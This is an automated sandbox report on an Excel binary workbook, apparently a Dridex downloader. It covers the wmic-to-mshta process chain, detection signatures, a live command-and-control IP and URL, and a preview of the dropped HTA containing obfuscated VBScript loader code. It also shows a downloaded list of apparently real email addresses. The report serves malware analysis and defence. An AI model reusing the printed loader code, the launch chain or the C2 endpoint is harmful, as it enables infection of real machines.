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Windows Analysis Report 7165.xlsb

Overview

General Information

Sample Name:	7165.xlsb
Analysis ID:	528402
MD5:	f8148e0bad6d907f92008218a0296d8d
SHA1:	782f3892983c1659a101b3cf298b01d12c593ab9
SHA256:	0e87b0f3a997a98409244e36b7da5eb04dc606b135dd9871ce39df554559f0dc
Tags:	xlsx
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Dridex Downloader

Multi AV Scanner detection for submitted file

Found malicious Excel 4.0 Macro

Creates and opens a fake document (probably a fake document to hide exploiting)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Creates processes via WMI

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Contains functionality to create processes via WMI

Found obfuscated Excel 4.0 Macro

Queries the volume information (name, serial number etc) of a device

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Yara detected Xls With Macro 4.0

Detected TCP or UDP traffic on non-standard ports

Sigma detected: Suspicious WMI Execution

Creates a window with clipboard capturing capabilities

Potential document exploit detected (performs HTTP gets)

IP address seen in connection with other malware

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 536 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

WMIC.exe (PID: 1848 cmdline: wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf" MD5: FD902835DEAEF4091799287736F3A028)

mshta.exe (PID: 3068 cmdline: mshta C:\ProgramData\HIXhaYv.rtf MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\HIXhaYv.rtf	JoeSecurity_DridexDownloader	Yara detected Dridex Downloader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 536, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf", ProcessId: 1848

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 536, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf", ProcessId: 1848

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: 7165.xlsb	Virustotal: Detection: 26%			Perma Link
Source: 7165.xlsb	ReversingLabs: Detection: 24%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\wbem\WMIC.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 157.245.108.215:8080

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 157.245.108.215:8080

Source: global traffic

HTTP traffic detected: GET /Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 157.245.108.215:8080Connection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 157.245.108.215:8080

Source: Joe Sandbox View

IP Address: 157.245.108.215 157.245.108.215

Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.108.215
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.108.215
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.108.215
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.108.215
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.108.215

Source: mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000006.00000002.665083023.0000000003700000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: WMIC.exe, 00000002.00000002.446624173.0000000001D10000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000006.00000002.665083023.0000000003700000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B1075D7F.png

Jump to behavior

Source: global traffic

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud:

Yara detected Dridex Downloader

Show sources

Source: Yara match

File source: C:\ProgramData\HIXhaYv.rtf, type: DROPPED

System Summary:

Found malicious Excel 4.0 Macro

Show sources

Source: 7165.xlsb

Macro extractor: Sheet: Macro1 contains: mshta

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: 7165.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: 7165.xlsb

Initial sample: Sheet name: Macro1

Contains functionality to create processes via WMI

Show sources

Source: WMIC.exe, 00000002.00000002.446514882.00000000003A0000.00000004.00000020.sdmp

Binary or memory string: C:\Users\user\Documents\C:\Windows\System32\Wbem;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\System32\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\HIXhaYv.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\DefaultX2

Found obfuscated Excel 4.0 Macro

Show sources

Source: 7165.xlsb

Macro extractor: Sheet: Macro1 high usage of CHAR() function: 65

Source: 7165.xlsb

Macro extractor: Sheet name: Macro1

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 7165.xlsb	Virustotal: Detection: 26%
Source: 7165.xlsb	ReversingLabs: Detection: 24%

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf"
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\HIXhaYv.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf"

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$7165.xlsb

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD104.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSB@4/7@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 7165.xlsb	Initial sample: OLE zip file path = xl/media/image2.png
Source: 7165.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: 7165.xlsb	Initial sample: OLE zip file path = docProps/custom.xml
Source: 33DC.tmp.0.dr	Initial sample: OLE zip file path = xl/media/image1.png
Source: 33DC.tmp.0.dr	Initial sample: OLE zip file path = xl/media/image2.png

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: cmd line: hixhayv.rtf
Source: unknown	Process created: cmd line: hixhayv.rtf

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\wbem\WMIC.exe TID: 3052	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2252	Thread sleep time: -60000s >= -30000s

Source: Yara match

File source: app.xml, type: SAMPLE

Source: mshta.exe, 00000006.00000002.664098950.0000000000D80000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mshta.exe, 00000006.00000002.664098950.0000000000D80000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: mshta.exe, 00000006.00000002.664098950.0000000000D80000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Non-Standard Port1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting4	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution32	Logon Script (Windows)	Logon Script (Windows)	Process Injection2	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting4	NTDS	System Information Discovery15	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
7165.xlsb	27%	Virustotal		Browse
7165.xlsb	24%	ReversingLabs	Document-Office.Trojan.XBAgent

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.%s.comPA	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
http://157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG	0%	Virustotal		Browse
http://157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	false		high
http://investor.msn.com	mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	mshta.exe, 00000006.00000002.665083023.0000000003700000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://www.icra.org/vocabulary/.	mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	mshta.exe, 00000006.00000002.665083023.0000000003700000.00000002.00020000.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	mshta.exe, 00000006.00000002.664820316.0000000003507000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	WMIC.exe, 00000002.00000002.446624173.0000000001D10000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://investor.msn.com/	mshta.exe, 00000006.00000002.664552014.0000000003320000.00000002.00020000.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
157.245.108.215	unknown	United States		14061	DIGITALOCEAN-ASNUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528402
Start date:	25.11.2021
Start time:	08:36:09
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	7165.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSB@4/7@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active AutoShape Object Active Picture Object Active Picture Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:36:36	API Interceptor	12x Sleep call for process: WMIC.exe modified
08:36:37	API Interceptor	455x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
157.245.108.215	license_55683.xlsb	Get hash	malicious	Browse	157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	license_55683.xlsb	Get hash	malicious	Browse	157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	request-038477145.xlsb	Get hash	malicious	Browse	157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	request-038477145.xlsb	Get hash	malicious	Browse	157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	gift-coupon-94579654.xlsb	Get hash	malicious	Browse	157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
	gift-coupon-94579654.xlsb	Get hash	malicious	Browse	157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	lhvzcskYLPyellowfacebrownietacohead.dll	Get hash	malicious	Browse	107.170.4.227
	Akiru.arm7	Get hash	malicious	Browse	204.48.26.235
	sale_voucher_83599.xlsb	Get hash	malicious	Browse	139.59.64.195
	sale_voucher_83599.xlsb	Get hash	malicious	Browse	139.59.64.195
	vacehcp3Zv.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Drixed-FJX5EDC20B587B4.1828.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Suspicious.Win32.Save.a.20268.dll	Get hash	malicious	Browse	107.170.4.227
	tax-106609.xlsb	Get hash	malicious	Browse	139.59.64.195
	tax-106609.xlsb	Get hash	malicious	Browse	139.59.64.195
	ivXBh7Nwmt.dll	Get hash	malicious	Browse	107.170.4.227
	34PZXoE0JJ.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Variant.Fragtor.44159.9257.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Variant.Fragtor.44159.27519.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Drixed-FJX76C9558A0CD4.8758.dll	Get hash	malicious	Browse	107.170.4.227
	license_55683.xlsb	Get hash	malicious	Browse	157.245.108.215
	SecuriteInfo.com.Drixed-FJX2C9A177B6A0E.11375.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Variant.Fragtor.44159.18448.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Variant.Fragtor.44159.27519.dll	Get hash	malicious	Browse	107.170.4.227
	SecuriteInfo.com.Variant.Fragtor.44159.9257.dll	Get hash	malicious	Browse	107.170.4.227
	license_55683.xlsb	Get hash	malicious	Browse	157.245.108.215

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\HIXhaYv.rtf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4832
Entropy (8bit):	5.062773698873061
Encrypted:	false
SSDEEP:	96:0Y0jXtpNIL2NJyy/Hm9QWCLPVZdjGtLavviAoaH:0fj9pNHNJ/Pm94LfdjW2CBO
MD5:	9CEBB20A5D6A87B44FD65820E887D0FE
SHA1:	EC2C9F8266196A25EE3CB1B78B59E62133A35785
SHA-256:	D4E0B065EEE8DEB19F5267A2012A2F9A59C9D7817BB83357716AACA1A59E94B8
SHA-512:	1A7D2A79905DF95E822A60406501AEB01E68A0E70CCC1596ECAD4EF41D566844F4B2A148303CAA96F2F29AF492280D3BEEC09A5867C215635B3F4A8B73AED959
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\HIXhaYv.rtf, Author: Joe Security
Reputation:	low
Preview:	<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >..n_b_M_b_v_z_V_Y_B_O_o_M_y = Chr(114+1-1) & Chr(117+1-1) & Chr(110+1-1) & Chr(100+1-1) & "ll3" & "2." & Chr(101+1-1) & "xe " & Chr(67+1-1) & Chr(58+1-1) & "\\" & "Pr" & "ogr" & "am" & Chr(68+1-1) & "ata" & Chr(92+1-1) & "vm" & Chr(110+1-1) & "ig" & "ge" & Chr(114+1-1) & ".bi" & "" & "n D" & "llR" & "eg" & "is" & "ter" & "Se" & Chr(114+1-1) & Chr(118+1-1) & Chr(101+1-1) & Chr(114+1-1) & "" & ""..Set l_R_t_U_K_d_h_u_E_s_M_w = CreateObject("MSX" & "ML2" & ".Se" & "" & "rv" & Chr(101+1-1) & Chr(114+1-1) & "XM" & Chr(76+1-1) & "HT" & "TP" & "" & "" & ".6." & Chr(48+1-1))....V_p_S_A_D_n_W = "" & "" & Chr(87+1-1) & "scr" & "ip" & "" & "" & Chr(116+1-1) & ".Sh" & Chr(101+1-1) & Chr(108+1-1) & Chr(108+1-1) & ""..Set F_e_n_k_Y_r_V = CreateObject(V_p_S

C:\ProgramData\uLbchwVzJ.txt Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	132
Entropy (8bit):	4.5279003037336905
Encrypted:	false
SSDEEP:	3:YBN9V8rl3iDBzFzHeJls9DLdiKL7M2VEKRKPYp:Y79VGViFZiKL718I
MD5:	C21E1AAFE3C0833BBD63EC6860DAC58D
SHA1:	71BD146CD1C28957A16902877FE0F6E8BC0057B0
SHA-256:	2C23527FE5590D3BFDCC65335BDA1EF85403EB937769872958AC54CF68ED9453
SHA-512:	19DEF7EBCE61B19173E45D2CA286523DB8ADF1114B8C9CF8A93071AE7EF741B2D0C1F1C062C37EBF8A8ED625A232D915130B27F498D9B1F68619A2E7B9929259
Malicious:	false
Reputation:	low
Preview:	{"dh@hholdingsgroup.com","kristie@brand-jump.com","a.plperez@cidsl.es","hgrimes@blackdiamondus.com","jbergeron@kingpaintinginc.com"}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG[1].txt Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.5279003037336905
Encrypted:	false
SSDEEP:	3:YBN9V8rl3iDBzFzHeJls9DLdiKL7M2VEKRKPYp:Y79VGViFZiKL718I
MD5:	C21E1AAFE3C0833BBD63EC6860DAC58D
SHA1:	71BD146CD1C28957A16902877FE0F6E8BC0057B0
SHA-256:	2C23527FE5590D3BFDCC65335BDA1EF85403EB937769872958AC54CF68ED9453
SHA-512:	19DEF7EBCE61B19173E45D2CA286523DB8ADF1114B8C9CF8A93071AE7EF741B2D0C1F1C062C37EBF8A8ED625A232D915130B27F498D9B1F68619A2E7B9929259
Malicious:	false
Reputation:	low
IE Cache URL:	http://157.245.108.215:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
Preview:	{"dh@hholdingsgroup.com","kristie@brand-jump.com","a.plperez@cidsl.es","hgrimes@blackdiamondus.com","jbergeron@kingpaintinginc.com"}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B1075D7F.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 256 x 51, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2578
